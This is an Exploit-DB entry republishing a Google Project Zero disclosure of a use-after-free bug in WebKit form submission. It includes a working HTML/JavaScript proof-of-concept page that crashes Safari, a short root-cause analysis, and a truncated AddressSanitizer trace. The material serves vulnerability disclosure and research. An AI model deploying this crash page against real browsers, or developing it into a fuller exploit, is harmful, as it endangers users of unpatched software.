Exploit-DB #41811
Description: Apple WebKit - 'FormSubmission::create' Use-After-Free
Type: dos
Platform: multiple
Date: 2017-04-04
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1090

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.

Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.

PoC:

=================================================================
-->

<script>
function go() {
  object.name = "foo";
  input.autofocus = true;
  output.appendChild(input);
  form.submit();
}
function eventhandler() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">

<!--
=================================================================

Preliminary analysis:

The bug is in FormSubmission::create(). This function traverses the vector of form.associatedElements(), however it is possible for JavaScript event handlers to trigger while the vector is being traversed and to resize (reallocate) the vector's buffer.

ASan log:

=================================================================
==1013==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a3b48 at pc 0x0001126c7be0 bp 0x7fff55811d50 sp 0x7fff55811d48
READ of size 8 at 0x60c0000a3b48 thread T0
    #0 0x1126c7bdf in WebCore::FormSubmission::create(WebCore::HTMLFormElement*, WebCore::FormSubmission::Attributes const&, WTF::PassRefPtr<WebCore::Event>, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa55bdf)
    #1 0x1128c2df1 in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc50df1)
    #2 0x11312acf0 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14b8cf0)
    #3 0x1131273cd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14b53cd)
    #4 0x3212cc401027  (<unknown module>)
    #5 0x10f3aa26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #6 0x10f3aa26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #7 0x10f3a383a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #8 0x10f06247d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #9 0x10efecaa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
    #10 0x10e6de991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #11 0x10e6deabb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #12 0x10e6dee06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #13 0x112d24b2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #14 0x11300a786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #15 0x112565a05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #16 0x11256552f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
    #17 0x112454431 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7e2431)
    #18 0x112463c2f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.fra